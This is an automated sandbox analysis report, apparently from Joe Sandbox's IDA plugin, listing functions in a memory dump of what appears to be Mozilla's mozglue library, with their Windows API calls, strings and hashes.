_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C664A68), ref: 6C69DE7B

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C664A68), ref: 6C69DEB8
free.MOZGLUE(00000000,?,6C664A68), ref: 6C69DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C69DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C69E00E
<none>, xrefs: 6C69DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6C69DE83

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 2fcca3c07977d64dd4993d632918e94227168705532684585624f7cb7a8fc6a2
Instruction ID: 601b910b7b33fabe0a9ab561ffd34791e6424384c40c8e5f7151f0789e36a508
Opcode Fuzzy Hash: 2fcca3c07977d64dd4993d632918e94227168705532684585624f7cb7a8fc6a2
Instruction Fuzzy Hash: BC41D6357011129BDB109F66D8447AE7775EF8631DF144025E90A97B42CB71B806CBEF

Function 6C6AD840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD918
GetCurrentThreadId.KERNEL32 ref: 6C6AD93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD970
GetCurrentThreadId.KERNEL32 ref: 6C6AD976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6ADA2E
GetCurrentThreadId.KERNEL32 ref: 6C6ADA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6ADA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C6ADA91

Part of subcall function 6C675C50: GetTickCount64.KERNEL32 ref: 6C675D40
Part of subcall function 6C675C50: EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6ADAB7

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: f33ad62070edb8738245d4ad1e6ac2cd8da8b52d6e5cf5841ba132b3ccaa90a4
Instruction ID: 567a1dc570bbfc197a3946fdaf41bee6a98aee442101251e5a91a029302da7d6
Opcode Fuzzy Hash: f33ad62070edb8738245d4ad1e6ac2cd8da8b52d6e5cf5841ba132b3ccaa90a4
Instruction Fuzzy Hash: CA71AC716043049FCB00CF6AC888B9ABBF5FF89354F14856EED4A8B315DB30A945CB99

Function 6C6AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD52A
GetCurrentThreadId.KERNEL32 ref: 6C6AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD55F
free.MOZGLUE(00000000), ref: 6C6AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C6AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD652
GetCurrentThreadId.KERNEL32 ref: 6C6AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD6A2

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction ID: 9b8953e07197604a31493b0d65dd3307c99482accd72b78eb2f8161ceeed3414
Opcode Fuzzy Hash: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction Fuzzy Hash: EE516C71604705DFC704DF65C484A9ABBF4FF8A358F108A2EE95A87710DB30B945CB99

Function 6C651E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C651EC1
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C651EE1
EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C651F38
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C651F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C651F83
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C651FC0
EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C651FE2
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C651FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C652019

Strings

\ml, xrefs: 6C651F3E
Dml, xrefs: 6C651F56
MOZ_CRASH(), xrefs: 6C652000
Dml, xrefs: 6C651F32

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Dml$Dml$MOZ_CRASH()$\ml
API String ID: 2055633661-3041328916
Opcode ID: 7cafa5be20bf4db4bcfdb207d8f870c0033313312f764c8b6a63c46e4560558c
Instruction ID: c0a39974589e38f45cd12d2b49d7f4a33d4792012388625821c90f73072d1d84
Opcode Fuzzy Hash: 7cafa5be20bf4db4bcfdb207d8f870c0033313312f764c8b6a63c46e4560558c
Instruction Fuzzy Hash: C241E271B013168BDF409F69C8C8BAAB7B5EF8A348F110129E91597744DB71A804CBDD

Function 6C675670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C6756D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6756E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C6756F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C675744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C6757BC
GetTickCount64.KERNEL32 ref: 6C6758CB
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6758F3
__aulldiv.LIBCMT ref: 6C675945
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6759B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C6DF638,?,?,?,?), ref: 6C6759E9

Strings

MOZ_APP_RESTART, xrefs: 6C6756CC

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: c6b1ea9104754a8ef7f34416b2b9287e3d37f0b01403dc47f43a0f3bf1e0d967
Instruction ID: 8a5d3d28f3501d48136d047c39752d816cf1a815167c03ec0a4cbd8a9897a4dd
Opcode Fuzzy Hash: c6b1ea9104754a8ef7f34416b2b9287e3d37f0b01403dc47f43a0f3bf1e0d967
Instruction Fuzzy Hash: 05C17C31A083809FDB15CF29C48066AF7F1BFCA714F158A5DF8C497A60D730A985CB9A

Function 6C69EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EC8C

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69ECA1
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C69ECC5
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69ED19
CloseHandle.KERNEL32(?), ref: 6C69ED28
free.MOZGLUE(00000000), ref: 6C69ED2F
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C69EC94

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction ID: 2ae2e6adba9c6c1c82c3a60dad5285ffbeb87b2139405902274e78f0153f2d9b
Opcode Fuzzy Hash: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction Fuzzy Hash: 1C21E575600106AFDF009F26DC44A9A3779FF8636DF144210FD1897745DB31A80ACBAE

Function 6C698ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C65EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C69B392,?,?,00000001), ref: 6C6991F4

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Strings

marker-table, xrefs: 6C69906C
timeline-memory, xrefs: 6C699088
marker-chart, xrefs: 6C69905E
name, xrefs: 6C698F16
stack-chart, xrefs: 6C6990B2
data, xrefs: 6C6990E8
timeline-overview, xrefs: 6C69907A
timeline-ipc, xrefs: 6C699096
timeline-fileio, xrefs: 6C6990A4

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: a46f793aff704f56e277412be1ddd98c51ea3a825d501873c4d8477a647ad1d8
Instruction ID: e91fcf3a85a4a0ae094e2106f39310f51662bf5ea7707ab1be9b0a83cbe8eee1
Opcode Fuzzy Hash: a46f793aff704f56e277412be1ddd98c51ea3a825d501873c4d8477a647ad1d8
Instruction Fuzzy Hash: 55B1A3B0B0120A9BDF04CF95C4917EEBBB5EF85318F204419D506ABF80D771A955CBEA

Function 6C67C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C5A3
WideCharToMultiByte.KERNEL32 ref: 6C67C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C67C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C67CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C67CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C67CAA5

Strings

0, xrefs: 6C67D30A
(null), xrefs: 6C67C596

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction ID: ec663ae348d2d7e35e63457b47664be838fc7f850928f8c79191e0fbf81cf5c1
Opcode Fuzzy Hash: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction Fuzzy Hash: 2AA1B230608341AFDB20DF29C59475EBBE1AFC9758F048D2DE99AD3641D731E805CB6A

Function 6C67C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C67C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C67C891

Strings

INF, xrefs: 6C67C794
inf, xrefs: 6C67C78F
nan, xrefs: 6C67C7A8
NAN, xrefs: 6C67C7AD

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 6a6d99bf2aa247250106ce3e01f91a0a30a20dcc70c9f36e39c26d4f5c5240a7
Instruction ID: cc99c5c77600d26ef2be13eca573c25623f929f90bd9dbf0f00d6d2fa080d3d4
Opcode Fuzzy Hash: 6a6d99bf2aa247250106ce3e01f91a0a30a20dcc70c9f36e39c26d4f5c5240a7
Instruction Fuzzy Hash: 95519170A087449BD710EF2CC58169AFBF0BF8A308F008E2DE9D5A7651E771D9858B5B

Function 6C653480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C65350E
__Init_thread_footer.LIBCMT ref: 6C653522
__aulldiv.LIBCMT ref: 6C653552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C65357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653592

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C653508
kernel32.dll, xrefs: 6C6534EA

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction ID: 9855ab1f5cf0ff1ab9f91fc4aabf033d94efc2b8b54de8244a30b0250912f382
Opcode Fuzzy Hash: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction Fuzzy Hash: 5631B371B012469BDF00DFBAC888AAA77B5FB86745F204429F50193A64DB70B905CF69

Function 6C654480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C694843,?), ref: 6C6545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C694843,?), ref: 6C65468A
free.MOZGLUE(?,?,?,?,?,?,6C694843,?), ref: 6C6546C9
free.MOZGLUE(?), ref: 6C6546EF
free.MOZGLUE(?), ref: 6C654712
free.MOZGLUE(?), ref: 6C654735
free.MOZGLUE(?), ref: 6C654758
free.MOZGLUE(?), ref: 6C65477B
free.MOZGLUE(?), ref: 6C65479E

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction ID: 5853785377ad7fac109c5e2629cf6a5aa9a57433c8303e5361673e4d80730685
Opcode Fuzzy Hash: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction Fuzzy Hash: E5B1F671A001518FDB188E3CC8D07BD77A1AF42328FA846A9E416DBBC6D7B1D8748B59

Function 6C6BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C6BAC52
CreateFileMappingW.KERNEL32 ref: 6C6BAC7D
GetSystemInfo.KERNEL32 ref: 6C6BAC98
MapViewOfFile.KERNEL32 ref: 6C6BACB0
GetSystemInfo.KERNEL32 ref: 6C6BACCD
MapViewOfFile.KERNEL32 ref: 6C6BAD05
UnmapViewOfFile.KERNEL32 ref: 6C6BAD1C
CloseHandle.KERNEL32 ref: 6C6BAD28
UnmapViewOfFile.KERNEL32 ref: 6C6BAD37
CloseHandle.KERNEL32 ref: 6C6BAD43
CloseHandle.KERNEL32 ref: 6C6BAD67

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction ID: 1d55252a4fddc2fce995aea856eb7163ac88f37b0f772768b4ec13c3e935887d
Opcode Fuzzy Hash: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction Fuzzy Hash: A53190B1A043058FDB00AF7EC68826EBBF0FF85345F014A2DE98597215EB70A559CB86

Function 6C669620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C669675
__Init_thread_footer.LIBCMT ref: 6C669697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C669707
__Init_thread_footer.LIBCMT ref: 6C66971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669773

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6697B7
FreeLibrary.KERNEL32 ref: 6C6697D0
FreeLibrary.KERNEL32 ref: 6C6697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669824

Strings

NtMapViewOfSection, xrefs: 6C669701
MapViewOfFileNuma2, xrefs: 6C6697B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C669670
ntdll.dll, xrefs: 6C6696E3

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
